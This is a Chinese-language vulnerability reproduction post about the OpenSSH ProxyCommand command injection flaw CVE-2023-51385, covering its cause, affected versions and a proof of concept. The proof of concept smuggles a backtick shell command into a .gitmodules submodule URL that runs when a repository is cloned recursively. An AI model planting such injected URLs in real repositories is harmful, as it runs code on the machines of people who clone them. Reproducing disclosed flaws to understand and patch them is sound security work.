【漏洞复现】OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)

文章目录

  • 前言
  • 一、漏洞背景
  • 二、漏洞详情
  • 三、影响范围
  • 四、漏洞验证


前言

OpenSSH存在命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。

一、漏洞背景

OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。近日,新华三盾山实验室监测到OpenSSH官方发布了安全公告,修复了一个存在于OpenSSH中的命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。


二、漏洞详情

此漏洞是由于OpenSSH中的ProxyCommand命令未对%h、%p或类似的扩展标记进行正确的过滤,攻击者可通过这些值注入恶意shell字符进行命令注入攻击。


三、影响范围

OpenSSH<9.6

四、漏洞验证

首先需要在~/.ssh/config增加如下

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

在这里插入图片描述
.gitmodules文件语句中存在命令注入

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

【漏洞复现】OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)_第1张图片
配置完成后,执行下面的指令触发

git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules

如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件
【漏洞复现】OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)_第2张图片
【漏洞复现】OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)_第3张图片
下载的CVE里面有一个.gitmodules文件语句中存在命令注入
【漏洞复现】OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)_第4张图片
该漏洞具体详情可参考如下链接:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

你可能感兴趣的:(漏洞复现,系统安全,OpenSSH)